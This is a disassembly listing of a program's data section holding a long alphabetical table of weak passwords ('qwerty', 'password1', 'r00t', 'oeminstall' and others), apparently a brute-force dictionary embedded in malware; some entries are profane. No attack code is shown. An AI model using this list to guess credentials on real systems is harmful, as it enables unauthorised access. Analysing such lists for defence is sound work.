align 4
aSpit db 'spit',0 ; DATA XREF: .text:0042DCA0o
align 4
aSpiderma db 'spiderma',0 ; DATA XREF: .text:0042DC9Co
align 4
aSpider db 'spider',0 ; DATA XREF: .text:0042DC98o
align 10h
aSpice db 'spice',0 ; DATA XREF: .text:0042DC94o
align 4
aSpencer db 'spencer',0 ; DATA XREF: .text:0042DC90o
aSpell db 'spell',0 ; DATA XREF: .text:0042DC8Co
align 4
aSpear db 'spear',0 ; DATA XREF: .text:0042DC88o
align 10h
aSparrows db 'sparrows',0 ; DATA XREF: .text:0042DC84o
align 4
aSpaceshi db 'spaceshi',0 ; DATA XREF: .text:0042DC80o
align 4
aSpaceman db 'spaceman',0 ; DATA XREF: .text:0042DC7Co
align 4
aSouth db 'south',0 ; DATA XREF: .text:0042DC78o
align 4
aSource db 'source',0 ; DATA XREF: .text:0042DC74o
align 4
aSossina db 'sossina',0 ; DATA XREF: .text:0042DC70o
aSonya db 'sonya',0 ; DATA XREF: .text:0042DC6Co
align 4
aSonic db 'sonic',0 ; DATA XREF: .text:0042DC68o
align 4
aSonia db 'sonia',0 ; DATA XREF: .text:0042DC64o
align 4
aSondra db 'sondra',0 ; DATA XREF: .text:0042DC60o
align 4
aSomebody db 'somebody',0 ; DATA XREF: .text:0042DC5Co
align 4
aSoftware db 'software',0 ; DATA XREF: .text:0042DC58o
align 4
aSoft db 'soft',0 ; DATA XREF: .text:0042DC54o
align 4
aSodomy db 'sodomy',0 ; DATA XREF: .text:0042DC50o
align 4
aSocrates db 'socrates',0 ; DATA XREF: .text:0042DC4Co
align 10h
aSocial db 'social',0 ; DATA XREF: .text:0042DC48o
align 4
aSoap db 'soap',0 ; DATA XREF: .text:0042DC44o
align 10h
aSnoopy db 'snoopy',0 ; DATA XREF: .text:0042DC40o
align 4
aSnatch db 'snatch',0 ; DATA XREF: .text:0042DC3Co
align 10h
aSnake db 'snake',0 ; DATA XREF: .text:0042DC38o
align 4
aSnafu db 'snafu',0 ; DATA XREF: .text:0042DC34o
align 10h
aSnach db 'snach',0 ; DATA XREF: .text:0042DC30o
align 4
aSmut db 'smut',0 ; DATA XREF: .text:0042DC2Co
align 10h
aSmtp db 'smtp',0 ; DATA XREF: .text:0042DC28o
align 4
aSmother db 'smother',0 ; DATA XREF: .text:0042DC24o
aSmooch db 'smooch',0 ; DATA XREF: .text:0042DC20o
align 4
aSmiles db 'smiles',0 ; DATA XREF: .text:0042DC1Co
align 10h
aSmile db 'smile',0 ; DATA XREF: .text:0042DC18o
align 4
aSmart db 'smart',0 ; DATA XREF: .text:0042DC14o
align 10h
aSmall db 'small',0 ; DATA XREF: .text:0042DC10o
align 4
aSlut db 'slut',0 ; DATA XREF: .text:0042DC0Co
align 10h
aSlow db 'slow',0 ; DATA XREF: .text:0042DC08o
align 4
aSliders db 'sliders',0 ; DATA XREF: .text:0042DC04o
aSlick db 'slick',0 ; DATA XREF: .text:0042DC00o
align 4
aSlave db 'slave',0 ; DATA XREF: .text:0042DBFCo
align 10h
aSkull db 'skull',0 ; DATA XREF: .text:0042DBF8o
align 4
aSite db 'site',0 ; DATA XREF: .text:0042DBF4o
align 10h
aSingle db 'single',0 ; DATA XREF: .text:0042DBF0o
align 4
aSinger db 'singer',0 ; DATA XREF: .text:0042DBECo
align 10h
aSimulati db 'simulati',0 ; DATA XREF: .text:0042DBE8o
align 4
aSimpsons db 'simpsons',0 ; DATA XREF: .text:0042DBE4o
align 4
aSimple db 'simple',0 ; DATA XREF: .text:0042DBE0o
align 10h
aSimon db 'simon',0 ; DATA XREF: .text:0042DBDCo
align 4
aSimcity db 'simcity',0 ; DATA XREF: .text:0042DBD8o
aSilver db 'silver',0 ; DATA XREF: .text:0042DBD4o
align 4
aSignature db 'signature',0 ; DATA XREF: .text:0042DBD0o
align 4
aSignatur db 'signatur',0 ; DATA XREF: .text:0042DBCCo
align 10h
aSierra db 'sierra',0 ; DATA XREF: .text:0042DBC8o
align 4
aSiemens db 'siemens',0 ; DATA XREF: .text:0042DBC4o
aSick db 'sick',0 ; DATA XREF: .text:0042DBC0o
align 4
aShuttle db 'shuttle',0 ; DATA XREF: .text:0042DBBCo
aShort db 'short',0 ; DATA XREF: .text:0042DBB8o
align 4
aShivers db 'shivers',0 ; DATA XREF: .text:0042DBB4o
aShiva db 'shiva',0 ; DATA XREF: .text:0042DBB0o
align 4
aShitpot db 'shitpot',0 ; DATA XREF: .text:0042DBACo
aShit db 'shit',0 ; DATA XREF: .text:0042DBA8o
align 4
aShirley db 'shirley',0 ; DATA XREF: .text:0042DBA4o
aShift db 'shift',0 ; DATA XREF: .text:0042DBA0o
align 4
aSherri db 'sherri',0 ; DATA XREF: .text:0042DB9Co
align 10h
aShell db 'shell',0 ; DATA XREF: .text:0042DB98o
align 4
aSheldon db 'sheldon',0 ; DATA XREF: .text:0042DB94o
aSheffield db 'sheffield',0 ; DATA XREF: .text:0042DB90o
align 4
aSheffiel db 'sheffiel',0 ; DATA XREF: .text:0042DB8Co
align 4
aSharon db 'sharon',0 ; DATA XREF: .text:0042DB88o
align 10h
aSharks db 'sharks',0 ; DATA XREF: .text:0042DB84o
align 4
aShark db 'shark',0 ; DATA XREF: .text:0042DB80o
align 10h
aSharc db 'sharc',0 ; DATA XREF: .text:0042DB7Co
align 4
aShannon db 'shannon',0 ; DATA XREF: .text:0042DB78o
aSexy db 'sexy',0 ; DATA XREF: .text:0042DB74o
align 4
aSex_0 db 'sex',0 ; DATA XREF: .text:0042DB70o
aSesame db 'sesame',0 ; DATA XREF: .text:0042DB6Co
align 4
aService db 'service',0 ; DATA XREF: .text:0042DB68o
; .text:0042E670o
aSerial_0 db 'serial',0 ; DATA XREF: .text:0042DB64o
align 4
aSerenity db 'serenity',0 ; DATA XREF: .text:0042DB60o
align 10h
aSentry db 'sentry',0 ; DATA XREF: .text:0042DB5Co
align 4
aSentinel db 'sentinel',0 ; DATA XREF: .text:0042DB58o
align 4
aSensor db 'sensor',0 ; DATA XREF: .text:0042DB54o
align 4
aSega db 'sega',0 ; DATA XREF: .text:0042DB50o
align 4
aSeed db 'seed',0 ; DATA XREF: .text:0042DB4Co
align 4
aSecurity db 'security',0 ; DATA XREF: .text:0042DB48o
align 4
aSecret db 'secret',0 ; DATA XREF: .text:0042DB44o
align 10h
aSearch db 'search',0 ; DATA XREF: .text:0042DB40o
align 4
aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: .text:0042DB3Co
align 4
aScript db 'script',0 ; DATA XREF: .text:0042DB38o
align 10h
aScout db 'scout',0 ; DATA XREF: .text:0042DB34o
align 4
aScotty db 'scotty',0 ; DATA XREF: .text:0042DB30o
align 10h
aScott db 'scott',0 ; DATA XREF: .text:0042DB2Co
align 4
aScorpion db 'scorpion',0 ; DATA XREF: .text:0042DB28o
align 4
aScifi db 'scifi',0 ; DATA XREF: .text:0042DB24o
align 4
aSchoolsucks db 'schoolsucks',0 ; DATA XREF: .text:0042DB20o
aSchool db 'school',0 ; DATA XREF: .text:0042DB1Co
align 10h
aScheme db 'scheme',0 ; DATA XREF: .text:0042DB18o
align 4
aScamper db 'scamper',0 ; DATA XREF: .text:0042DB14o
aSaxon db 'saxon',0 ; DATA XREF: .text:0042DB10o
align 4
aSaturn db 'saturn',0 ; DATA XREF: .text:0042DB0Co
align 10h
aSaturday db 'saturday',0 ; DATA XREF: .text:0042DB08o
align 4
aSatanik db 'satanik',0 ; DATA XREF: .text:0042DB04o
aSatanic db 'satanic',0 ; DATA XREF: .text:0042DB00o
aSatan db 'satan',0 ; DATA XREF: .text:0042DAFCo
align 4
aSarah db 'sarah',0 ; DATA XREF: .text:0042DAF8o
align 4
aSara db 'sara',0 ; DATA XREF: .text:0042DAF4o
align 4
aSandy db 'sandy',0 ; DATA XREF: .text:0042DAF0o
align 4
aSandra db 'sandra',0 ; DATA XREF: .text:0042DAECo
align 4
aSample db 'sample',0 ; DATA XREF: .text:0042DAE8o
align 4
aSamantha db 'samantha',0 ; DATA XREF: .text:0042DAE4o
align 4
aSam db 'sam',0 ; DATA XREF: .text:0042DAE0o
aSalt db 'salt',0 ; DATA XREF: .text:0042DADCo
align 4
aSale db 'sale',0 ; DATA XREF: .text:0042DAD8o
align 4
aSalami db 'salami',0 ; DATA XREF: .text:0042DAD4o
align 4
aSal db 'sal',0 ; DATA XREF: .text:0042DAD0o
aSage db 'sage',0 ; DATA XREF: .text:0042DACCo
align 10h
aSafe db 'safe',0 ; DATA XREF: .text:0042DAC8o
align 4
aRuth db 'ruth',0 ; DATA XREF: .text:0042DAC0o
align 10h
aRush db 'rush',0 ; DATA XREF: .text:0042DABCo
align 4
aRunning db 'running',0 ; DATA XREF: .text:0042DAB8o
aRules db 'rules',0 ; DATA XREF: .text:0042DAB4o
align 4
aRude db 'rude',0 ; DATA XREF: .text:0042DAB0o
align 10h
aRuby db 'ruby',0 ; DATA XREF: .text:0042DAACo
align 4
aRuben db 'ruben',0 ; DATA XREF: .text:0042DAA8o
align 10h
aRubber db 'rubber',0 ; DATA XREF: .text:0042DAA4o
align 4
aRough db 'rough',0 ; DATA XREF: .text:0042DAA0o
align 10h
aRoses db 'roses',0 ; DATA XREF: .text:0042DA9Co
align 4
aRosemary db 'rosemary',0 ; DATA XREF: .text:0042DA98o
align 4
aRosebud db 'rosebud',0 ; DATA XREF: .text:0042DA94o
aRose db 'rose',0 ; DATA XREF: .text:0042DA90o
align 4
aRooted db 'rooted',0 ; DATA XREF: .text:0042DA8Co
align 4
aRonald db 'ronald',0 ; DATA XREF: .text:0042DA88o
align 4
aRon db 'ron',0 ; DATA XREF: .text:0042DA84o
aRomulan db 'romulan',0 ; DATA XREF: .text:0042DA80o
aRomeo db 'romeo',0 ; DATA XREF: .text:0042DA7Co
align 4
aRomano db 'romano',0 ; DATA XREF: .text:0042DA78o
align 10h
aRolex db 'rolex',0 ; DATA XREF: .text:0042DA74o
align 4
aRodent db 'rodent',0 ; DATA XREF: .text:0042DA70o
align 10h
aRockyhor db 'rockyhor',0 ; DATA XREF: .text:0042DA6Co
align 4
aRocky db 'rocky',0 ; DATA XREF: .text:0042DA68o
align 4
aRock db 'rock',0 ; DATA XREF: .text:0042DA64o
align 4
aRochester db 'rochester',0 ; DATA XREF: .text:0042DA60o
align 4
aRocheste db 'rocheste',0 ; DATA XREF: .text:0042DA5Co
align 4
aRochelle db 'rochelle',0 ; DATA XREF: .text:0042DA58o
align 10h
aRobyn db 'robyn',0 ; DATA XREF: .text:0042DA54o
align 4
aRobotics db 'robotics',0 ; DATA XREF: .text:0042DA50o
align 4
aRobot db 'robot',0 ; DATA XREF: .text:0042DA4Co
align 4
aRobin db 'robin',0 ; DATA XREF: .text:0042DA48o
align 4
aRobert db 'robert',0 ; DATA XREF: .text:0042DA44o
align 4
aRoach db 'roach',0 ; DATA XREF: .text:0042DA40o
align 4
aRje db 'rje',0 ; DATA XREF: .text:0042DA3Co
aRisc db 'risc',0 ; DATA XREF: .text:0042DA38o
align 10h
aRipple db 'ripple',0 ; DATA XREF: .text:0042DA34o
align 4
aRiot db 'riot',0 ; DATA XREF: .text:0042DA30o
align 10h
aRing db 'ring',0 ; DATA XREF: .text:0042DA2Co
align 4
aRightwin db 'rightwin',0 ; DATA XREF: .text:0042DA28o
align 4
aRight db 'right',0 ; DATA XREF: .text:0042DA24o
align 4
aRiffraff db 'riffraff',0 ; DATA XREF: .text:0042DA20o
align 4
aRick db 'rick',0 ; DATA XREF: .text:0042DA1Co
align 10h
aRich db 'rich',0 ; DATA XREF: .text:0042DA18o
align 4
aRhino db 'rhino',0 ; DATA XREF: .text:0042DA14o
align 10h
aReveal db 'reveal',0 ; DATA XREF: .text:0042DA10o
align 4
aResistan db 'resistan',0 ; DATA XREF: .text:0042DA0Co
align 4
aRepublic db 'republic',0 ; DATA XREF: .text:0042DA08o
align 10h
aReport db 'report',0 ; DATA XREF: .text:0042DA04o
align 4
aRent db 'rent',0 ; DATA XREF: .text:0042DA00o
align 10h
aReno db 'reno',0 ; DATA XREF: .text:0042D9FCo
align 4
aRenee db 'renee',0 ; DATA XREF: .text:0042D9F8o
align 10h
aRemote db 'remote',0 ; DATA XREF: .text:0042D9F4o
align 4
aRelease db 'release',0 ; DATA XREF: .text:0042D9F0o
aRegional db 'regional',0 ; DATA XREF: .text:0042D9ECo
align 4
aReferenc db 'referenc',0 ; DATA XREF: .text:0042D9E8o
align 4
aRedhead db 'redhead',0 ; DATA XREF: .text:0042D9E4o
aReddawn db 'reddawn',0 ; DATA XREF: .text:0042D9E0o
aRecord db 'record',0 ; DATA XREF: .text:0042D9DCo
align 10h
aRebel db 'rebel',0 ; DATA XREF: .text:0042D9D8o
align 4
aRebecca db 'rebecca',0 ; DATA XREF: .text:0042D9D4o
aRebal db 'rebal',0 ; DATA XREF: .text:0042D9D0o
align 4
aReaper db 'reaper',0 ; DATA XREF: .text:0042D9CCo
align 10h
aReam db 'ream',0 ; DATA XREF: .text:0042D9C8o
align 4
aReally db 'really',0 ; DATA XREF: .text:0042D9C4o
align 10h
aReality db 'reality',0 ; DATA XREF: .text:0042D9C0o
aReagan db 'reagan',0 ; DATA XREF: .text:0042D9BCo
align 10h
aRazor db 'razor',0 ; DATA XREF: .text:0042D9B8o
align 4
aRascal db 'rascal',0 ; DATA XREF: .text:0042D9B4o
align 10h
aRape db 'rape',0 ; DATA XREF: .text:0042D9B0o
align 4
aRaleigh db 'raleigh',0 ; DATA XREF: .text:0042D9A8o
aRaindrop db 'raindrop',0 ; DATA XREF: .text:0042D9A4o
align 4
aRainbow db 'rainbow',0 ; DATA XREF: .text:0042D9A0o
aRain db 'rain',0 ; DATA XREF: .text:0042D99Co
align 4
aRaid db 'raid',0 ; DATA XREF: .text:0042D998o
align 4
aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: .text:0042D994o
align 4
aRachmani db 'rachmani',0 ; DATA XREF: .text:0042D990o
align 10h
aRachelle db 'rachelle',0 ; DATA XREF: .text:0042D98Co
align 4
aRachel db 'rachel',0 ; DATA XREF: .text:0042D988o
align 4
aRabbit db 'rabbit',0 ; DATA XREF: .text:0042D984o
align 4
aR00t db 'r00t',0 ; DATA XREF: .text:0042D980o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .text:0042D97Co
; .text:0042E654o
align 4
aQwert db 'qwert',0 ; DATA XREF: .text:0042D978o
; .text:0042E650o
align 4
aQwer db 'qwer',0 ; DATA XREF: .text:0042D974o
; .text:0042E64Co
align 4
aQwe db 'qwe',0 ; DATA XREF: .text:0042D970o
; .text:0042E648o
aQuebec db 'quebec',0 ; DATA XREF: .text:0042D96Co
align 4
aQaz db 'qaz',0 ; DATA XREF: .text:0042D968o
; .text:0042E710o
aPwd db 'pwd',0 ; DATA XREF: .text:0042D964o
aPw123 db 'pw123',0 ; DATA XREF: .text:0042D960o
align 4
aPw db 'pw',0 ; DATA XREF: .text:0042D95Co
align 4
aPussy db 'pussy',0 ; DATA XREF: .text:0042D958o
align 4
aPuppet db 'puppet',0 ; DATA XREF: .text:0042D954o
align 4
aPunk db 'punk',0 ; DATA XREF: .text:0042D950o
align 4
aPunisher db 'punisher',0 ; DATA XREF: .text:0042D94Co
align 10h
aPuneet db 'puneet',0 ; DATA XREF: .text:0042D948o
align 4
aPumpkin db 'pumpkin',0 ; DATA XREF: .text:0042D944o
aPuke db 'puke',0 ; DATA XREF: .text:0042D940o
align 4
aPuck db 'puck',0 ; DATA XREF: .text:0042D93Co
align 10h
aPublic db 'public',0 ; DATA XREF: .text:0042D938o
align 4
aPub db 'pub',0 ; DATA XREF: .text:0042D934o
aPsychopa db 'psychopa',0 ; DATA XREF: .text:0042D930o
align 4
aPsycho db 'psycho',0 ; DATA XREF: .text:0042D92Co
align 10h
aProtozoa db 'protozoa',0 ; DATA XREF: .text:0042D928o
align 4
aProtect db 'protect',0 ; DATA XREF: .text:0042D924o
aPrompt db 'prompt',0 ; DATA XREF: .text:0042D920o
align 4
aProgram db 'program',0 ; DATA XREF: .text:0042D91Co
aProfile db 'profile',0 ; DATA XREF: .text:0042D918o
aProfessor db 'professor',0 ; DATA XREF: .text:0042D914o
align 4
aProfesso db 'professo',0 ; DATA XREF: .text:0042D910o
align 4
aProcesso db 'processo',0 ; DATA XREF: .text:0042D90Co
align 10h
aProceed db 'proceed',0 ; DATA XREF: .text:0042D908o
aPrivs db 'privs',0 ; DATA XREF: .text:0042D904o
align 10h
aPrivate db 'private',0 ; DATA XREF: .text:0042D900o
aPriv db 'priv',0 ; DATA XREF: .text:0042D8FCo
align 10h
aPrinter db 'printer',0 ; DATA XREF: .text:0042D8F8o
aPrinceton db 'princeton',0 ; DATA XREF: .text:0042D8F4o
align 4
aPrinceto db 'princeto',0 ; DATA XREF: .text:0042D8F0o
align 10h
aPrince db 'prince',0 ; DATA XREF: .text:0042D8ECo
align 4
aPresto db 'presto',0 ; DATA XREF: .text:0042D8E8o
align 10h
aPrelude db 'prelude',0 ; DATA XREF: .text:0042D8E4o
aPrecious db 'precious',0 ; DATA XREF: .text:0042D8E0o
align 4
aPraise db 'praise',0 ; DATA XREF: .text:0042D8DCo
align 4
aPower db 'power',0 ; DATA XREF: .text:0042D8D8o
align 4
aPoster db 'poster',0 ; DATA XREF: .text:0042D8D4o
align 4
aPost db 'post',0 ; DATA XREF: .text:0042D8D0o
align 4
aPorsche db 'porsche',0 ; DATA XREF: .text:0042D8CCo
aPorno db 'porno',0 ; DATA XREF: .text:0042D8C8o
align 4
aPorn db 'porn',0 ; DATA XREF: .text:0042D8C4o
align 4
aPork db 'pork',0 ; DATA XREF: .text:0042D8C0o
align 4
aPoor db 'poor',0 ; DATA XREF: .text:0042D8BCo
align 4
aPoop db 'poop',0 ; DATA XREF: .text:0042D8B8o
align 4
aPondering db 'pondering',0 ; DATA XREF: .text:0042D8B4o
align 10h
aPonderin db 'ponderin',0 ; DATA XREF: .text:0042D8B0o
align 4
aPolynomial db 'polynomial',0 ; DATA XREF: .text:0042D8ACo
align 4
aPolynomi db 'polynomi',0 ; DATA XREF: .text:0042D8A8o
align 4
aPolly db 'polly',0 ; DATA XREF: .text:0042D8A4o
align 4
aPolice db 'police',0 ; DATA XREF: .text:0042D8A0o
align 4
aPoetry db 'poetry',0 ; DATA XREF: .text:0042D89Co
align 4
aPlymouth db 'plymouth',0 ; DATA XREF: .text:0042D898o
align 4
aPluto db 'pluto',0 ; DATA XREF: .text:0042D894o
align 10h
aPlover db 'plover',0 ; DATA XREF: .text:0042D890o
align 4
aPlayboy db 'playboy',0 ; DATA XREF: .text:0042D88Co
aPlane db 'plane',0 ; DATA XREF: .text:0042D888o
align 4
aPizza db 'pizza',0 ; DATA XREF: .text:0042D884o
align 10h
aPiss db 'piss',0 ; DATA XREF: .text:0042D880o
align 4
aPinname db 'pinname',0 ; DATA XREF: .text:0042D87Co
aPink db 'pink',0 ; DATA XREF: .text:0042D878o
align 4
aPimp db 'pimp',0 ; DATA XREF: .text:0042D874o
align 10h
aPierre db 'pierre',0 ; DATA XREF: .text:0042D870o
align 4
aPick db 'pick',0 ; DATA XREF: .text:0042D86Co
align 10h
aPhuck db 'phuck',0 ; DATA XREF: .text:0042D868o
align 4
aPhreak db 'phreak',0 ; DATA XREF: .text:0042D864o
align 10h
aPhrase db 'phrase',0 ; DATA XREF: .text:0042D860o
align 4
aPhrack db 'phrack',0 ; DATA XREF: .text:0042D85Co
align 10h
aPhoton db 'photon',0 ; DATA XREF: .text:0042D858o
align 4
aPhone db 'phone',0 ; DATA XREF: .text:0042D854o
align 10h
aPhoenix db 'phoenix',0 ; DATA XREF: .text:0042D850o
aPhilip db 'philip',0 ; DATA XREF: .text:0042D84Co
align 10h
aPhil db 'phil',0 ; DATA XREF: .text:0042D848o
align 4
aPeter db 'peter',0 ; DATA XREF: .text:0042D844o
align 10h
aPete db 'pete',0 ; DATA XREF: .text:0042D840o
align 4
aPervert db 'pervert',0 ; DATA XREF: .text:0042D83Co
aPersona db 'persona',0 ; DATA XREF: .text:0042D838o
aPersimmon db 'persimmon',0 ; DATA XREF: .text:0042D834o
align 4
aPersimmo db 'persimmo',0 ; DATA XREF: .text:0042D830o
align 10h
aPermit db 'permit',0 ; DATA XREF: .text:0042D82Co
align 4
aPerfect db 'perfect',0 ; DATA XREF: .text:0042D828o
aPercolate db 'percolate',0 ; DATA XREF: .text:0042D824o
align 4
aPercolat db 'percolat',0 ; DATA XREF: .text:0042D820o
align 4
aPepsi db 'pepsi',0 ; DATA XREF: .text:0042D81Co
align 10h
aPepper db 'pepper',0 ; DATA XREF: .text:0042D818o
align 4
aPeoria db 'peoria',0 ; DATA XREF: .text:0042D814o
align 10h
aPentium db 'pentium',0 ; DATA XREF: .text:0042D810o
aPenthous db 'penthous',0 ; DATA XREF: .text:0042D80Co
align 4
aPentagra db 'pentagra',0 ; DATA XREF: .text:0042D808o
align 10h
aPentagon db 'pentagon',0 ; DATA XREF: .text:0042D804o
align 4
aPenname db 'penname',0 ; DATA XREF: .text:0042D800o
aPenis db 'penis',0 ; DATA XREF: .text:0042D7FCo
align 4
aPenguin db 'penguin',0 ; DATA XREF: .text:0042D7F8o
aPenelope db 'penelope',0 ; DATA XREF: .text:0042D7F4o
align 10h
aPencil db 'pencil',0 ; DATA XREF: .text:0042D7F0o
align 4
aPecker db 'pecker',0 ; DATA XREF: .text:0042D7ECo
align 10h
aPeanuts db 'peanuts',0 ; DATA XREF: .text:0042D7E8o
aPc db 'pc',0 ; DATA XREF: .text:0042D7E4o
align 4
aPaula db 'paula',0 ; DATA XREF: .text:0042D7E0o
align 4
aPatty db 'patty',0 ; DATA XREF: .text:0042D7DCo
align 4
aPatriot db 'patriot',0 ; DATA XREF: .text:0042D7D8o
aPatrick db 'patrick',0 ; DATA XREF: .text:0042D7D4o
aPatricia db 'patricia',0 ; DATA XREF: .text:0042D7D0o
align 4
aPat db 'pat',0 ; DATA XREF: .text:0042D7CCo
aPaste db 'paste',0 ; DATA XREF: .text:0042D7C8o
align 4
aPassword123 db 'password123',0 ; DATA XREF: .text:0042D7C4o
aPassword1 db 'password1',0 ; DATA XREF: .text:0042D7C0o
; .text:0042E640o
align 4
aPasswd db 'passwd',0 ; DATA XREF: .text:0042D7BCo
align 4
aPassphra db 'passphra',0 ; DATA XREF: .text:0042D7B8o
align 10h
aPass1234 db 'pass1234',0 ; DATA XREF: .text:0042D7B4o
align 4
aPass123 db 'pass123',0 ; DATA XREF: .text:0042D7B0o
aPass_0 db 'pass',0 ; DATA XREF: .text:0042D7ACo
align 4
aPascal db 'pascal',0 ; DATA XREF: .text:0042D7A8o
align 4
aPapers db 'papers',0 ; DATA XREF: .text:0042D7A4o
align 4
aPaper db 'paper',0 ; DATA XREF: .text:0042D7A0o
align 4
aPapa db 'papa',0 ; DATA XREF: .text:0042D79Co
align 4
aPamela db 'pamela',0 ; DATA XREF: .text:0042D798o
align 4
aPam db 'pam',0 ; DATA XREF: .text:0042D794o
aPakistan db 'pakistan',0 ; DATA XREF: .text:0042D790o
align 4
aPaint db 'paint',0 ; DATA XREF: .text:0042D78Co
align 4
aPainless db 'painless',0 ; DATA XREF: .text:0042D788o
align 4
aPad db 'pad',0 ; DATA XREF: .text:0042D784o
aPacker db 'packer',0 ; DATA XREF: .text:0042D780o
align 4
aPackard db 'packard',0 ; DATA XREF: .text:0042D77Co
aPacific db 'pacific',0 ; DATA XREF: .text:0042D778o
aOxford db 'oxford',0 ; DATA XREF: .text:0042D774o
align 4
aOwned db 'owned',0 ; DATA XREF: .text:0042D770o
align 4
aOwn db 'own',0 ; DATA XREF: .text:0042D76Co
aOwa db 'owa',0 ; DATA XREF: .text:0042D768o
aOutside db 'outside',0 ; DATA XREF: .text:0042D764o
aOutput db 'output',0 ; DATA XREF: .text:0042D760o
align 4
aOutlook db 'outlook',0 ; DATA XREF: .text:0042D75Co
aOutlaw db 'outlaw',0 ; DATA XREF: .text:0042D758o
align 4
aOutdoors db 'outdoors',0 ; DATA XREF: .text:0042D754o
align 4
aOsiris db 'osiris',0 ; DATA XREF: .text:0042D750o
align 10h
aOscar db 'oscar',0 ; DATA XREF: .text:0042D74Co
align 4
aOrwell db 'orwell',0 ; DATA XREF: .text:0042D748o
align 10h
aOrient db 'orient',0 ; DATA XREF: .text:0042D744o
align 4
aOrca db 'orca',0 ; DATA XREF: .text:0042D740o
align 10h
aOrange db 'orange',0 ; DATA XREF: .text:0042D73Co
align 4
aOperator db 'operator',0 ; DATA XREF: .text:0042D734o
align 4
aOpensesa db 'opensesa',0 ; DATA XREF: .text:0042D730o
align 10h
aOpenlock db 'openlock',0 ; DATA XREF: .text:0042D72Co
align 4
aOpening db 'opening',0 ; DATA XREF: .text:0042D728o
aOmega db 'omega',0 ; DATA XREF: .text:0042D720o
align 4
aOlivia db 'olivia',0 ; DATA XREF: .text:0042D71Co
align 4
aOlivetti db 'olivetti',0 ; DATA XREF: .text:0042D718o
align 10h
aOldage db 'oldage',0 ; DATA XREF: .text:0042D714o
align 4
aOkay db 'okay',0 ; DATA XREF: .text:0042D710o
align 10h
aOffice db 'office',0 ; DATA XREF: .text:0042D70Co
align 4
aOemuser db 'oemuser',0 ; DATA XREF: .text:0042D708o
aOeminstall db 'oeminstall',0 ; DATA XREF: .text:0042D704o
align 4
aOcelot db 'ocelot',0 ; DATA XREF: .text:0042D700o
align 4
aOceanography db 'oceanography',0 ; DATA XREF: .text:0042D6FCo
align 4
aOceanogr db 'oceanogr',0 ; DATA XREF: .text:0042D6F8o
align 10h
aObscurit db 'obscurit',0 ; DATA XREF: .text:0042D6F4o
align 4
aNyquist db 'nyquist',0 ; DATA XREF: .text:0042D6F0o
aNuts db 'nuts',0 ; DATA XREF: .text:0042D6ECo
align 4
aNutrition db 'nutrition',0 ; DATA XREF: .text:0042D6E8o
align 4
aNutritio db 'nutritio',0 ; DATA XREF: .text:0042D6E4o
align 4
aNumber db 'number',0 ; DATA XREF: .text:0042D6E0o
align 4
aNull_1 db 'null',0 ; DATA XREF: .text:0042D6DCo
align 4
aNukem db 'nukem',0 ; DATA XREF: .text:0042D6D8o
align 4
aNuke db 'nuke',0 ; DATA XREF: .text:0042D6D4o
align 4
aNude db 'nude',0 ; DATA XREF: .text:0042D6D0o
align 4
aNuclear db 'nuclear',0 ; DATA XREF: .text:0042D6CCo
aNoxious db 'noxious',0 ; DATA XREF: .text:0042D6C8o
aNovember db 'november',0 ; DATA XREF: .text:0042D6C4o
align 4
aNovel db 'novel',0 ; DATA XREF: .text:0042D6C0o
align 10h
aNova db 'nova',0 ; DATA XREF: .text:0042D6BCo
align 4
aNoth db 'noth',0 ; DATA XREF: .text:0042D6B8o
align 10h
aNotes db 'notes',0 ; DATA XREF: .text:0042D6B4o
align 4
aNoreen db 'noreen',0 ; DATA XREF: .text:0042D6B0o
align 10h
aNoob db 'noob',0 ; DATA XREF: .text:0042D6ACo
align 4
aNone db 'none',0 ; DATA XREF: .text:0042D6A8o
align 10h
aNokia db 'nokia',0 ; DATA XREF: .text:0042D6A4o
align 4
aNode db 'node',0 ; DATA XREF: .text:0042D6A0o
align 10h
aNobody db 'nobody',0 ; DATA XREF: .text:0042D69Co
align 4
aNoble db 'noble',0 ; DATA XREF: .text:0042D698o
align 10h
aNnaacp db 'nnaacp',0 ; DATA XREF: .text:0042D694o
align 4
aNita db 'nita',0 ; DATA XREF: .text:0042D690o
align 10h
aNintendo db 'nintendo',0 ; DATA XREF: .text:0042D68Co
align 4
aNightmar db 'nightmar',0 ; DATA XREF: .text:0042D688o
align 4
aNight db 'night',0 ; DATA XREF: .text:0042D684o
align 10h
aNicotine db 'nicotine',0 ; DATA XREF: .text:0042D680o
align 4
aNicole db 'nicole',0 ; DATA XREF: .text:0042D67Co
align 4
aNice db 'nice',0 ; DATA XREF: .text:0042D678o
align 4
aNext db 'next',0 ; DATA XREF: .text:0042D674o
align 4
aNewyork db 'newyork',0 ; DATA XREF: .text:0042D670o
aNewton db 'newton',0 ; DATA XREF: .text:0042D66Co
align 4
aNewsgrou db 'newsgrou',0 ; DATA XREF: .text:0042D668o
align 10h
aNews db 'news',0 ; DATA XREF: .text:0042D664o
align 4
aNewborn db 'newborn',0 ; DATA XREF: .text:0042D660o
aNew db 'new',0 ; DATA XREF: .text:0042D65Co
aNetwork_0 db 'network',0 ; DATA XREF: .text:0042D658o
aNetscape db 'netscape',0 ; DATA XREF: .text:0042D654o
align 4
aNetfuck db 'netfuck',0 ; DATA XREF: .text:0042D650o
aNetdevil db 'netdevil',0 ; DATA XREF: .text:0042D64Co
align 4
aNetbios db 'netbios',0 ; DATA XREF: .text:0042D648o
aNetDevil db 'net-devil',0 ; DATA XREF: .text:0042D644o
align 10h
aNet db 'net',0 ; DATA XREF: .text:0042D640o
aNess db 'ness',0 ; DATA XREF: .text:0042D63Co
align 4
aNeptune db 'neptune',0 ; DATA XREF: .text:0042D638o
aNepenthe db 'nepenthe',0 ; DATA XREF: .text:0042D634o
align 10h
aNeil db 'neil',0 ; DATA XREF: .text:0042D630o
align 4
aNavy db 'navy',0 ; DATA XREF: .text:0042D62Co
align 10h
aNasa db 'nasa',0 ; DATA XREF: .text:0042D628o
align 4
aNapoleon db 'napoleon',0 ; DATA XREF: .text:0042D624o
align 4
aNancy db 'nancy',0 ; DATA XREF: .text:0042D620o
align 4
aName db 'name',0 ; DATA XREF: .text:0042D61Co
align 4
aNagel db 'nagel',0 ; DATA XREF: .text:0042D618o
align 4
aMypc123 db 'mypc123',0 ; DATA XREF: .text:0042D614o
aMypc db 'mypc',0 ; DATA XREF: .text:0042D610o
align 4
aMypass123 db 'mypass123',0 ; DATA XREF: .text:0042D60Co
align 4
aMypass db 'mypass',0 ; DATA XREF: .text:0042D608o
align 10h
